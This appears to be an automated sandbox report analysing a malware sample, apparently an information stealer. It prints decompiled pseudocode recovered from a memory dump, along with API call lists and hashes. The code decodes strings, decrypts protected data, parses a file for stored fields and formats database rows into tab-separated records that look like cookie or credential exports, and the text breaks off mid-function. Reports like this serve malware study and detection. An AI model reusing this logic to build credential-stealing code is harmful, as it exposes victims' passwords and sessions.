Opcode Fuzzy Hash: 01422fe7aa394de96a1dce2bb53c41001ad32649875a46c3aff9b2fb7bb9f39c
Instruction Fuzzy Hash: 8221CFBD854304DBE700DF2AED89AC57BB0BB08315F50843AE909833A0EB746981CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00407030, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
encryptionmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407030(void* __ecx, char* _a4, void** _a8, char _a12) {
				int _v8;

				_v8 = 0;
				 *_a8 = 0;
				_t3 =  &_a12; // 0x4072e6
				 *( *_t3) = 0;
				_t4 =  &_a12; // 0x4072e6
				if(CryptStringToBinaryA(_a4, 0, 1, 0,  *_t4, 0, 0) != 0) {
					_t6 =  &_a12; // 0x4072e6
					 *_a8 = LocalAlloc(0x40,  *( *_t6));
					if( *_a8 != 0) {
						_t9 =  &_a12; // 0x4072e6
						_v8 = CryptStringToBinaryA(_a4, 0, 1,  *_a8,  *_t9, 0, 0);
						if(_v8 == 0) {
							 *_a8 = LocalFree( *_a8);
						}
					}
				}
				return _v8;
			}

0x00407034
0x0040703e
0x00407044
0x00407047
0x00407051
0x00407067
0x00407069
0x0040707a
0x00407082
0x00407088
0x004070a0
0x004070a7
0x004070b8
0x004070b8
0x004070a7
0x00407082
0x004070c0

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,r@,00000000,00000000), ref: 0040705F
LocalAlloc.KERNEL32(00000040,?,?,004072E6,?,?), ref: 00407071
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,r@,00000000,00000000), ref: 0040709A
LocalFree.KERNEL32(?,?,?,004072E6,?,?), ref: 004070AF

Strings

r@, xrefs: 00407044, 00407051, 00407069, 00407088, 00407054, 0040708B

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: r@
API String ID: 4291131564-2414136952
Opcode ID: 2f6cb8636726a44d4c5ba0ba37ce1168cd5a9bf973dcfd37ea38ceb970d54bb5
Instruction ID: 29543754676a3d22e6067da496bfd9973b13c32e176d97ff461b0574898dadc4
Opcode Fuzzy Hash: 2f6cb8636726a44d4c5ba0ba37ce1168cd5a9bf973dcfd37ea38ceb970d54bb5
Instruction Fuzzy Hash: 501192B4640308EFEB10CF64C895BAA77A5FB89710F208159F9159B390C776AA41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 004047B0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004047B0(char _a4) {
				int _v8;
				char _v20011;
				char _v20012;
				int _t16;
				int _t20;

				E00416530(0x4e28);
				_v20012 = 0;
				E00413730( &_v20011, 0, 0x4e1f);
				_v8 = 0;
				_t5 =  &_a4; // 0x40504f
				_t16 = E0040B2E0( &_v8,  *_t5);
				_t6 =  &_a4; // 0x40504f
				CryptStringToBinaryA( *_t6, _t16, 1, 0,  &_v8, 0, 0);
				_t9 =  &_a4; // 0x40504f
				_t20 = E0040B2E0( &_v8,  *_t9);
				_t10 =  &_a4; // 0x40504f
				if(CryptStringToBinaryA( *_t10, _t20, 1,  &_v20012,  &_v8, 0, 0) == 0) {
					return 0x41d2d8;
				}
				return  &_v20012;
			}

0x004047b8
0x004047bd
0x004047d2
0x004047da
0x004047ed
0x004047f1
0x004047fa
0x004047fe
0x00404815
0x00404819
0x00404822
0x0040482e
0x00000000
0x0040483a
0x00000000

APIs

_memset.LIBCMT ref: 004047D2
CryptStringToBinaryA.CRYPT32(OP@,00000000,00000000,?,0040504F), ref: 004047FE
CryptStringToBinaryA.CRYPT32(OP@,00000000,00000000,00000000,?,0040504F), ref: 00404826

Strings

UNK, xrefs: 0040483A
OP@, xrefs: 004047ED, 004047FA, 00404815, 00404822, 004047F0, 004047FD, 00404818, 00404825

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: BinaryCryptString$_memset
String ID: OP@$UNK
API String ID: 3509671036-2978063601
Opcode ID: 6017666dfea4ae08f0a05c6e8780e2317a1b748a158ea4fc1e3faaa044ac9ad3
Instruction ID: 89e7ef4bb60db5a52778d8d7eb849d0aaef4cfc9fcc24f59dd6b479e6a627739
Opcode Fuzzy Hash: 6017666dfea4ae08f0a05c6e8780e2317a1b748a158ea4fc1e3faaa044ac9ad3
Instruction Fuzzy Hash: E301D6F6A00248B7E710EB90DC06FDA336CBB44705F4041A8B704AA1C1D7F5EA40879D

Uniqueness

Uniqueness Score: -1.00%

Function 00407360, Relevance: 7.6, APIs: 5, Instructions: 90
stringencryptionCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00407360(void* __ecx, void* __eflags, char* _a4) {
				int _v8;
				DWORD* _v12;
				char _v16;
				int _v20;
				DWORD* _v24;
				intOrPtr _v28;
				int _v8124;
				DWORD* _v8128;
				DWORD* _v8132;
				DWORD* _v8136;
				char _v8140;
				intOrPtr _t48;
				intOrPtr _t53;
				void* _t71;
				void* _t72;
				void* _t73;

				E00416530(0x1fc8);
				_v20 = 0x1fa0;
				_v24 = 0;
				_v8128 = 0x4187ce;
				E0040B2C0( &_v8124, 0x1fa0);
				_push(0);
				if(CryptStringToBinaryA(_a4,  *0x42009c(), _a4, 1,  &_v8124,  &_v20, 0) != 0) {
					_v24 =  *0x41ff94();
					if(_v24 == 0) {
						lstrcatA(_v8128, 0x4187ce);
					} else {
						_t48 =  *0x41ffd0(_v24, 1, 0);
						_t73 = _t72 + 0xc;
						_v28 = _t48;
						if(_v28 != 0) {
							lstrcatA(_v8128, 0x4187ce);
						} else {
							_v12 =  &_v8124;
							_v8 = _v20;
							_v8136 = 0;
							_v8132 = 0;
							_t53 =  *0x41ffb4( &_v16,  &_v8140, 0);
							_t73 = _t73 + 0xc;
							_v28 = _t53;
							if(_v28 != 0) {
								lstrcatA(_v8128, 0x4187ce);
							} else {
								E0040B260( &_v8124, _v8136, _v8132);
								 *((char*)(_t71 + _v8132 - 0x1fb8)) = 0;
								_v8128 =  &_v8124;
							}
						}
						 *0x41ffbc(_v24);
					}
				}
				return _v8128;
			}

0x00407368
0x0040736d
0x00407374
0x0040737b
0x00407391
0x00407396
0x004073be
0x004073ca
0x004073d1
0x004074ae
0x004073d7
0x004073df
0x004073e5
0x004073e8
0x004073ef
0x0040748d
0x004073f5
0x004073fb
0x00407401
0x00407404
0x0040740e
0x00407425
0x0040742b
0x0040742e
0x00407435
0x00407479
0x00407437
0x0040744c
0x00407457
0x00407465
0x00407465
0x0040747f
0x00407497
0x0040749d
0x004073d1
0x004074bd

APIs

lstrlen.KERNEL32(00408E9D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004073AB
CryptStringToBinaryA.CRYPT32(00408E9D,00000000), ref: 004073B6
lstrcatA.KERNEL32(?,004187CE), ref: 00407479
lstrcatA.KERNEL32(?,004187CE), ref: 0040748D
lstrcatA.KERNEL32(004187CE,004187CE), ref: 004074AE

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: b94cd510575436666814e5a382354dfc2d8bc41d7067ad87eed1089ee947d16f
Instruction ID: 318695eabdbbdea77af474f41f38a6bdcde33dbb2f65e5fdf598e15ff231ad1a
Opcode Fuzzy Hash: b94cd510575436666814e5a382354dfc2d8bc41d7067ad87eed1089ee947d16f
Instruction Fuzzy Hash: EC415E75D0421E9BCB10CF94DD89BEEB7B8BB48704F1085B9F509A7280C7786A85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00406D50, Relevance: 1.6, APIs: 1, Instructions: 60
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00406D50(intOrPtr _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;

				_v8 = E0040B240(_a8);
				E0040B260(_v8, _a4, _a8);
				_v12 = _a4;
				_v16 = _a8;
				_v28 = E0040B240(_a8);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v16);
				if( *0x4200b0() == 0) {
					return 0;
				}
				_v32 = 0;
				while(_v32 < _v24) {
					 *((char*)(_v28 + _v32)) =  *((intOrPtr*)(_v20 + _v32));
					_v32 = _v32 + 1;
				}
				 *((char*)(_v28 + _v24)) = 0;
				return _v28;
			}

0x00406d62
0x00406d71
0x00406d79
0x00406d7f
0x00406d8e
0x00406d94
0x00406d95
0x00406d97
0x00406d99
0x00406d9b
0x00406d9d
0x00406da2
0x00406dab
0x00000000
0x00406de9
0x00406dad
0x00406dbf
0x00406dd5
0x00406dbc
0x00406dbc
0x00406ddf
0x00000000

APIs

Part of subcall function 0040B240: GetProcessHeap.KERNEL32(00000008,00413220,?,0040B13D,00413220,?,?,00413220,00004098), ref: 0040B249
Part of subcall function 0040B240: RtlAllocateHeap.NTDLL(00000000,?,0040B13D,00413220,?,?,00413220,00004098), ref: 0040B250

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 00406DA3

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: b3477082be3d4e80294c6f8de0c91c3e562c9c540018766626eca4b351b20cf5
Instruction ID: a1e3bce42931842a0ebd4b298290361f6c0f949cca0fa2a0c66c6c1a4206306f
Opcode Fuzzy Hash: b3477082be3d4e80294c6f8de0c91c3e562c9c540018766626eca4b351b20cf5
Instruction Fuzzy Hash: 17110DB5E00109DBCF00DF99D881AEFBBB5EF44304F10816AE915AB341D738AA51CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00408BE0, Relevance: 61.5, APIs: 34, Strings: 1, Instructions: 236
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00408BE0(void* __ecx, CHAR* _a4, CHAR* _a8, CHAR* _a12) {
				long _v8;
				intOrPtr _v12;
				char* _v16;
				char _v284;
				char* _v288;
				void* _v292;
				char* _v296;
				struct _OVERLAPPED* _v300;
				long _v304;
				char* _v308;
				intOrPtr _t59;
				char* _t72;
				CHAR* _t88;
				CHAR* _t90;
				CHAR* _t93;
				CHAR* _t96;
				char* _t98;
				char* _t99;
				CHAR* _t104;
				CHAR* _t106;
				CHAR* _t108;
				char* _t110;
				char* _t111;
				CHAR* _t116;
				CHAR* _t118;
				CHAR* _t120;
				char* _t129;
				char* _t130;
				CHAR* _t131;
				CHAR* _t132;
				CHAR* _t133;
				CHAR* _t134;
				char* _t136;
				char* _t140;
				CHAR* _t147;
				char* _t152;
				CHAR* _t156;
				CHAR* _t157;
				CHAR* _t159;
				CHAR* _t160;
				char* _t163;
				CHAR* _t164;
				CHAR* _t165;
				char* _t168;
				CHAR* _t169;
				CHAR* _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t59 =  *0x41ffc4(_a12);
				_t174 = _t173 + 4;
				if(_t59 == 0) {
					_t59 = E0040B1F0(__ecx, 0x41ff98);
					_t175 = _t174 + 4;
					_v12 = _t59;
					if(_v12 < 0x20) {
						E0040B2C0( &_v284, 0x104);
						lstrcatA( &_v284, _a12);
						lstrcatA( &_v284, "\\");
						_t147 =  *0x41ff8c; // 0x8b4310
						lstrcatA( &_v284, _t147);
						_v304 = 0;
						_v300 = 0;
						_v292 = CreateFileA( &_v284, 0x80000000, 1, 0, 3, 0, 0);
						if(_v292 == 0) {
							L7:
							return  *0x41ffe8();
						}
						SetFilePointer(_v292, 0, 0, 2);
						_v304 = GetFileSize(_v292, 0);
						SetFilePointer(_v292, 0, 0, 0);
						_t72 = E0040B130(_v292, _v304 + 1);
						_t176 = _t175 + 4;
						_v308 = _t72;
						_v16 = _v308;
						ReadFile(_v292, _v16, _v304,  &_v8, 0);
						while(1) {
							_t152 =  *0x41f920; // 0x8b4418
							_v296 = StrStrA(_v16, _t152);
							_t182 = _v296;
							if(_v296 == 0) {
								break;
							}
							_t129 =  *0x41f920; // 0x8b4418
							_t31 =  *0x42009c(_t129) + 3; // 0x3
							_v296 =  &(_v296[_t31]);
							_t130 =  *0x41fb5c; // 0x8b4328
							_v288 = StrStrA(_v296, _t130) - 3;
							 *_v288 = 0;
							_t131 =  *0x41fae0; // 0x8b2d88
							_t156 =  *0x41ffe0; // 0x0
							lstrcatA(_t156, _t131);
							_t132 =  *0x41ffe0; // 0x0
							lstrcatA(_t132, _a8);
							_t157 =  *0x41ffe0; // 0x0
							lstrcatA(_t157, "\n");
							_t88 =  *0x41fb28; // 0x8b2de8
							_t133 =  *0x41ffe0; // 0x0
							lstrcatA(_t133, _t88);
							_t90 =  *0x41ffe0; // 0x0
							lstrcatA(_t90, _a4);
							_t134 =  *0x41ffe0; // 0x0
							lstrcatA(_t134, "\n");
							_t159 =  *0x41f8f4; // 0x8b2e08
							_t93 =  *0x41ffe0; // 0x0
							lstrcatA(_t93, _t159);
							_t160 =  *0x41ffe0; // 0x0
							lstrcatA(_t160, _v296);
							_t96 =  *0x41ffe0; // 0x0
							lstrcatA(_t96, "\n");
							_t136 =  *0x41fd64; // 0x8b3c58
							_t98 = StrStrA(_v288 + 1, _t136);
							_t99 =  *0x41fd64; // 0x8b3c58
							_t41 =  *0x42009c(_t99) + 3; // 0x3
							_v296 =  &(_t98[_t41]);
							_t163 =  *0x41fd60; // 0x8b3798
							_v288 = StrStrA(_v296, _t163) - 3;
							 *_v288 = 0;
							_t164 =  *0x41f81c; // 0x8b2e28
							_t104 =  *0x41ffe0; // 0x0
							lstrcatA(_t104, _t164);
							_t106 = E00407360(_v296, _t182, _v296);
							_t165 =  *0x41ffe0; // 0x0
							lstrcatA(_t165, _t106);
							_t108 =  *0x41ffe0; // 0x0
							lstrcatA(_t108, "\n");
							_t140 =  *0x41fd60; // 0x8b3798
							_t110 = StrStrA(_v288 + 1, _t140);
							_t111 =  *0x41fd60; // 0x8b3798
							_t49 =  *0x42009c(_t111) + 3; // 0x3
							_v296 =  &(_t110[_t49]);
							_t168 =  *0x41feb4; // 0x8b2b28
							_v288 = StrStrA(_v296, _t168) - 3;
							 *_v288 = 0;
							_t169 =  *0x41f8fc; // 0x8b2e38
							_t116 =  *0x41ffe0; // 0x0
							lstrcatA(_t116, _t169);
							_t118 = E00407360(_v296, _t182, _v296);
							_t176 = _t176 + 8;
							_t170 =  *0x41ffe0; // 0x0
							lstrcatA(_t170, _t118);
							_t120 =  *0x41ffe0; // 0x0
							lstrcatA(_t120, "\n\n");
							_v16 = _v288 + 1;
						}
						CloseHandle(_v292);
						goto L7;
					}
				}
				return _t59;
			}

0x00408bee
0x00408bf4
0x00408bf9
0x00408c04
0x00408c09
0x00408c0c
0x00408c13
0x00408c25
0x00408c35
0x00408c47
0x00408c4d
0x00408c5b
0x00408c61
0x00408c6b
0x00408c91
0x00408c9e
0x00408f73
0x00000000
0x00408f73
0x00408cb1
0x00408cc6
0x00408cd9
0x00408ce9
0x00408cee
0x00408cf1
0x00408cfd
0x00408d18
0x00408d1e
0x00408d1e
0x00408d2f
0x00408d35
0x00408d3c
0x00000000
0x00000000
0x00408d42
0x00408d55
0x00408d59
0x00408d5f
0x00408d76
0x00408d82
0x00408d85
0x00408d8c
0x00408d93
0x00408d9d
0x00408da4
0x00408daf
0x00408db6
0x00408dbc
0x00408dc2
0x00408dc9
0x00408dd3
0x00408dd9
0x00408de4
0x00408deb
0x00408df1
0x00408df8
0x00408dfe
0x00408e0b
0x00408e12
0x00408e1d
0x00408e23
0x00408e29
0x00408e3a
0x00408e42
0x00408e4e
0x00408e52
0x00408e58
0x00408e6f
0x00408e7b
0x00408e7e
0x00408e85
0x00408e8b
0x00408e98
0x00408ea1
0x00408ea8
0x00408eb3
0x00408eb9
0x00408ebf
0x00408ed0
0x00408ed8
0x00408ee4
0x00408ee8
0x00408eee
0x00408f05
0x00408f11
0x00408f14
0x00408f1b
0x00408f21
0x00408f2e
0x00408f33
0x00408f37
0x00408f3e
0x00408f49
0x00408f4f
0x00408f5e
0x00408f5e
0x00408f6d
0x00000000
0x00408f6d
0x00408c13
0x00408f7d

APIs

lstrcatA.KERNEL32(?,008AF118,?,00000104), ref: 00408C35
lstrcatA.KERNEL32(?,004187CC), ref: 00408C47
lstrcatA.KERNEL32(?,008B4310), ref: 00408C5B
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00408C8B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00408CB1
GetFileSize.KERNEL32(00000000,00000000), ref: 00408CC0
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00408CD9
new[].LIBCMTD ref: 00408CE9
ReadFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 00408D18
StrStrA.SHLWAPI(?,008B4418), ref: 00408D29
lstrlen.KERNEL32(008B4418), ref: 00408D49
StrStrA.SHLWAPI(00000000,008B4328), ref: 00408D6D
lstrcatA.KERNEL32(00000000,008B2D88), ref: 00408D93
lstrcatA.KERNEL32(00000000,?), ref: 00408DA4
lstrcatA.KERNEL32(00000000,0041D304), ref: 00408DB6
lstrcatA.KERNEL32(00000000,008B2DE8), ref: 00408DC9
lstrcatA.KERNEL32(00000000,00000020), ref: 00408DD9
lstrcatA.KERNEL32(00000000,0041D304), ref: 00408DEB
lstrcatA.KERNEL32(00000000,008B2E08), ref: 00408DFE
lstrcatA.KERNEL32(00000000,00000000), ref: 00408E12
lstrcatA.KERNEL32(00000000,0041D304), ref: 00408E23
StrStrA.SHLWAPI(?,008B3C58), ref: 00408E3A
lstrlen.KERNEL32(008B3C58), ref: 00408E48
StrStrA.SHLWAPI(00000000,008B3798), ref: 00408E66
lstrcatA.KERNEL32(00000000,008B2E28), ref: 00408E8B

Part of subcall function 00407360: lstrlen.KERNEL32(00408E9D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004073AB
Part of subcall function 00407360: CryptStringToBinaryA.CRYPT32(00408E9D,00000000), ref: 004073B6

lstrcatA.KERNEL32(00000000,00000000), ref: 00408EA8
lstrcatA.KERNEL32(00000000,0041D304), ref: 00408EB9
StrStrA.SHLWAPI(?,008B3798), ref: 00408ED0
lstrlen.KERNEL32(008B3798), ref: 00408EDE
StrStrA.SHLWAPI(00000000,008B2B28), ref: 00408EFC
lstrcatA.KERNEL32(00000000,008B2E38), ref: 00408F21

Part of subcall function 00407360: lstrcatA.KERNEL32(?,004187CE), ref: 00407479
Part of subcall function 00407360: lstrcatA.KERNEL32(?,004187CE), ref: 0040748D
Part of subcall function 00407360: lstrcatA.KERNEL32(004187CE,004187CE), ref: 004074AE

lstrcatA.KERNEL32(00000000,00000000), ref: 00408F3E
lstrcatA.KERNEL32(00000000,0041D300), ref: 00408F4F
CloseHandle.KERNEL32(00000000), ref: 00408F6D

Strings

, xrefs: 00408C0F

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID:
API String ID: 3141130001-3916222277
Opcode ID: f1ec04f4f21b35e0407250b7da65219e262a0fe9e84d1958274c3e0cc1814ba9
Instruction ID: 8bd07e1ae3b1aa538f6fe4bcfabab48e2fbf6fdc6b79b8dd7838219804584f8f
Opcode Fuzzy Hash: f1ec04f4f21b35e0407250b7da65219e262a0fe9e84d1958274c3e0cc1814ba9
Instruction Fuzzy Hash: A5A12FB5A00208AFC724DFA4EC49FEA77F9BB4C300F0481A9F60993251C775AA56CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00408780, Relevance: 33.3, APIs: 22, Instructions: 284
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E00408780(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v12;
				char _v276;
				void* _v280;
				CHAR* _v284;
				CHAR* _v288;
				CHAR* _v292;
				CHAR* _v296;
				CHAR* _v300;
				CHAR* _v304;
				CHAR* _v308;
				intOrPtr* _v312;
				CHAR* _v316;
				char _v317;
				char _v318;
				long _v324;
				long _v328;
				intOrPtr* _v332;
				CHAR* _v336;
				char _v337;
				char _v338;
				long _v344;
				long _v348;
				CHAR* _t107;
				void* _t110;
				void* _t112;
				void* _t118;
				CHAR* _t132;
				long _t181;
				CHAR* _t182;
				long _t183;
				CHAR* _t184;
				CHAR* _t192;
				CHAR* _t193;
				intOrPtr _t196;
				char _t202;
				char _t205;
				char _t216;
				char _t218;
				void* _t219;
				void* _t221;
				void* _t222;
				void* _t225;

				E0040B2C0( &_v276, 0x104);
				_t107 =  *0x41f938; // 0x8b3e58
				wsprintfA( &_v276, _t107, _a12, _a8);
				_t110 =  *0x41ffd8(_a4,  &_v8);
				_t221 = _t219 + 0x18;
				if(_t110 == 0) {
					_t196 =  *0x41f978; // 0x8a7b40
					_t112 =  *0x41ff90(_v8, _t196, 0xffffffff,  &_v12, 0);
					_t222 = _t221 + 0x14;
					if(_t112 != 0) {
						L26:
						 *0x41ffb0(_v12);
						return  *0x41ffdc(_v8);
					}
					_v280 = HeapAlloc(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						L3:
						_t118 =  *0x41ffac(_v12);
						_t225 = _t222 + 4;
						if(_t118 != 0x64) {
							break;
						}
						_v300 =  *0x41ffc8(_v12, 0);
						_v284 =  *0x41ffc8(_v12, 1);
						_v308 =  *0x41ffc8(_v12, 2);
						_v304 =  *0x41ffc8(_v12, 3);
						_v296 =  *0x41ffc8(_v12, 4);
						_v292 =  *0x41ffc8(_v12, 5);
						_t132 =  *0x41ffc8(_v12, 6);
						_t222 = _t225 + 0x38;
						_v288 = _t132;
						_v312 = "0";
						_v316 = _v284;
						while(1) {
							_t181 = _v316;
							_t202 =  *_t181;
							_v317 = _t202;
							if(_t202 !=  *_v312) {
								break;
							}
							if(_v317 == 0) {
								L9:
								_v324 = 0;
								L11:
								_v328 = _v324;
								if(_v328 != 0) {
									E0040B280(_t181, _v284, 0, 4);
									_t182 =  *0x41f90c; // 0x8b2c78
									lstrcatA(_v284, _t182);
								} else {
									E0040B280(_t181, _v284, 0, 4);
									_t193 =  *0x41fc38; // 0x8b2b08
									lstrcatA(_v284, _t193);
								}
								_v332 = "0";
								_v336 = _v304;
								while(1) {
									_t183 = _v336;
									_t205 =  *_t183;
									_v337 = _t205;
									if(_t205 !=  *_v332) {
										break;
									}
									if(_v337 == 0) {
										L19:
										_v344 = 0;
										L21:
										_v348 = _v344;
										if(_v348 != 0) {
											E0040B280(_t183, _v304, 0, 4);
											_t184 =  *0x41f90c; // 0x8b2c78
											lstrcatA(_v304, _t184);
										} else {
											E0040B280(_t183, _v304, 0, 4);
											_t192 =  *0x41fc38; // 0x8b2b08
											lstrcatA(_v304, _t192);
										}
										lstrcatA(_v280, _v300);
										lstrcatA(_v280, "\t");
										lstrcatA(_v280, _v284);
										lstrcatA(_v280, "\t");
										lstrcatA(_v280, _v308);
										lstrcatA(_v280, "\t");
										lstrcatA(_v280, _v304);
										lstrcatA(_v280, "\t");
										lstrcatA(_v280, _v296);
										lstrcatA(_v280, "\t");
										lstrcatA(_v280, _v292);
										lstrcatA(_v280, "\t");
										lstrcatA(_v280, _v288);
										lstrcatA(_v280, "\n");
										goto L3;
									}
									_t183 = _v336;
									_t216 =  *((intOrPtr*)(_t183 + 1));
									_v338 = _t216;
									_t62 = _v332 + 1; // 0x48000000
									if(_t216 !=  *_t62) {
										break;
									}
									_v336 = _v336 + 2;
									_v332 = _v332 + 2;
									if(_v338 != 0) {
										continue;
									}
									goto L19;
								}
								asm("sbb ecx, ecx");
								asm("sbb ecx, 0xffffffff");
								_v344 = _t183;
								goto L21;
							}
							_t181 = _v316;
							_t218 =  *((intOrPtr*)(_t181 + 1));
							_v318 = _t218;
							_t36 = _v312 + 1; // 0x48000000
							if(_t218 !=  *_t36) {
								break;
							}
							_v316 = _v316 + 2;
							_v312 = _v312 + 2;
							if(_v318 != 0) {
								continue;
							}
							goto L9;
						}
						asm("sbb ecx, ecx");
						asm("sbb ecx, 0xffffffff");
						_v324 = _t181;
						goto L11;
					}
					E004133B0(_a16,  &_v276, _v280,  *0x42009c(_v280));
					_t222 = _t225 + 0x10;
					E0040B2C0( &_v280, 4);
					goto L26;
				}
				return _t110;
			}

0x00408795
0x004087a2
0x004087af
0x004087c0
0x004087c6
0x004087cb
0x004087d9
0x004087e4
0x004087ea
0x004087ef
0x00408bb9
0x00408bbd
0x00000000
0x00408bd0
0x00408809
0x0040880f
0x0040880f
0x00408813
0x00408819
0x0040881f
0x00000000
0x00000000
0x00408834
0x00408849
0x0040885e
0x00408873
0x00408888
0x0040889d
0x004088a9
0x004088af
0x004088b2
0x004088b8
0x004088c8
0x004088ce
0x004088ce
0x004088d4
0x004088d6
0x004088e4
0x00000000
0x00000000
0x004088ed
0x00408920
0x00408920
0x00408937
0x0040893d
0x0040894a
0x0040897d
0x00408982
0x00408990
0x0040894c
0x00408957
0x0040895c
0x0040896a
0x0040896a
0x00408996
0x004089a6
0x004089ac
0x004089ac
0x004089b2
0x004089b4
0x004089c2
0x00000000
0x00000000
0x004089cb
0x004089fe
0x004089fe
0x00408a15
0x00408a1b
0x00408a28
0x00408a5b
0x00408a60
0x00408a6e
0x00408a2a
0x00408a35
0x00408a3a
0x00408a48
0x00408a48
0x00408a82
0x00408a94
0x00408aa8
0x00408aba
0x00408ace
0x00408ae0
0x00408af4
0x00408b06
0x00408b1a
0x00408b2c
0x00408b40
0x00408b52
0x00408b66
0x00408b78
0x00000000
0x00408b78
0x004089cd
0x004089d3
0x004089d6
0x004089e2
0x004089e5
0x00000000
0x00000000
0x004089e7
0x004089ee
0x004089fc
0x00000000
0x00000000
0x00000000
0x004089fc
0x00408a0a
0x00408a0c
0x00408a0f
0x00000000
0x00408a0f
0x004088ef
0x004088f5
0x004088f8
0x00408904
0x00408907
0x00000000
0x00000000
0x00408909
0x00408910
0x0040891e
0x00000000
0x00000000
0x00000000
0x0040891e
0x0040892c
0x0040892e
0x00408931
0x00000000
0x00408931
0x00408ba3
0x00408ba8
0x00408bb4
0x00000000
0x00408bb4
0x00408bd6

APIs

wsprintfA.USER32 ref: 004087AF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004087FC
HeapAlloc.KERNEL32(00000000), ref: 00408803
lstrcatA.KERNEL32(?,008B2B08,?,00000000,00000004), ref: 0040896A
lstrcatA.KERNEL32(?,008B2C78,?,00000000,00000004), ref: 00408990
lstrcatA.KERNEL32(?,008B2B08,?,00000000,00000004), ref: 00408A48
lstrcatA.KERNEL32(?,008B2C78,?,00000000,00000004), ref: 00408A6E
lstrcatA.KERNEL32(?,?), ref: 00408A82
lstrcatA.KERNEL32(?,0041D92C), ref: 00408A94
lstrcatA.KERNEL32(?,?), ref: 00408AA8
lstrcatA.KERNEL32(?,0041D92C), ref: 00408ABA
lstrcatA.KERNEL32(?,?), ref: 00408ACE
lstrcatA.KERNEL32(?,0041D92C), ref: 00408AE0
lstrcatA.KERNEL32(?,?), ref: 00408AF4
lstrcatA.KERNEL32(?,0041D92C), ref: 00408B06
lstrcatA.KERNEL32(?,?), ref: 00408B1A
lstrcatA.KERNEL32(?,0041D92C), ref: 00408B2C
lstrcatA.KERNEL32(?,?), ref: 00408B40
lstrcatA.KERNEL32(?,0041D92C), ref: 00408B52
lstrcatA.KERNEL32(?,?), ref: 00408B66
lstrcatA.KERNEL32(?,0041D304), ref: 00408B78
lstrlen.KERNEL32(?), ref: 00408B8A

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$Heap$AllocProcesslstrlenwsprintf
String ID:
API String ID: 2521749834-0
Opcode ID: fd95ab96f666cf134439e83ed341f1fff633ca26b36845e895d6dcde0334b619
Instruction ID: 708d6ef9b92017b168428e31a4c6906a60c26e8fc95f937ba8ed32784ea73985
Opcode Fuzzy Hash: fd95ab96f666cf134439e83ed341f1fff633ca26b36845e895d6dcde0334b619
Instruction Fuzzy Hash: E9C192B1A002189BCB24DF64DD89FEE77B5AF48700F0081E9F649A7291C7359E85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00405060, Relevance: 27.2, APIs: 18, Instructions: 180
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405060(void* __ecx) {
				char _v268;
				char _v532;
				char _v796;
				char _v1060;
				char _v1324;
				char _v1588;
				CHAR* _t45;
				CHAR* _t50;
				CHAR* _t55;
				CHAR* _t60;
				CHAR* _t65;
				CHAR* _t70;
				intOrPtr _t75;
				intOrPtr _t80;
				CHAR* _t97;
				CHAR* _t99;
				CHAR* _t101;
				CHAR* _t103;
				CHAR* _t105;
				CHAR* _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				CHAR* _t116;
				CHAR* _t118;
				CHAR* _t120;
				CHAR* _t122;
				CHAR* _t124;
				CHAR* _t126;
				intOrPtr _t128;
				intOrPtr _t130;

				E0040B2C0( &_v1324, 0x104);
				E0040B2C0( &_v268, 0x104);
				E0040B2C0( &_v796, 0x104);
				E0040B2C0( &_v1588, 0x104);
				E0040B2C0( &_v532, 0x104);
				E0040B2C0( &_v1060, 0x104);
				_t45 =  *0x41fb14; // 0x8ae9d8
